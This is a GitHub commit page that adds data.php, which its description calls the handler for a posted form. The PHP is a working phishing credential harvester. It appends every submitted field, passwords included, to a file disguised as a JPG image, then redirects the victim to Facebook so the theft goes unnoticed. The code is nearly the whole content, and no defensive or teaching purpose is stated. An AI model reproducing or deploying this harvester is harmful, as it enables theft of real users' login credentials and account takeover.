Skip to content

Commit

Permalink
action=data.php
Browse files Browse the repository at this point in the history
The handling file after the user posts the form.
  • Loading branch information
0xyg3n authored Jul 29, 2018
1 parent 9dd00d8 commit aaeaf9f
Showing 1 changed file with 14 additions and 0 deletions.
14 changes: 14 additions & 0 deletions data.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@

<?php
header ('Location: https://facebook.com/me'); //Redirect user.
$handle = fopen("notinawordlist1337.jpg", "a"); //You can rename the file you want to save the passwords.
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

0 comments on commit aaeaf9f

Please sign in to comment.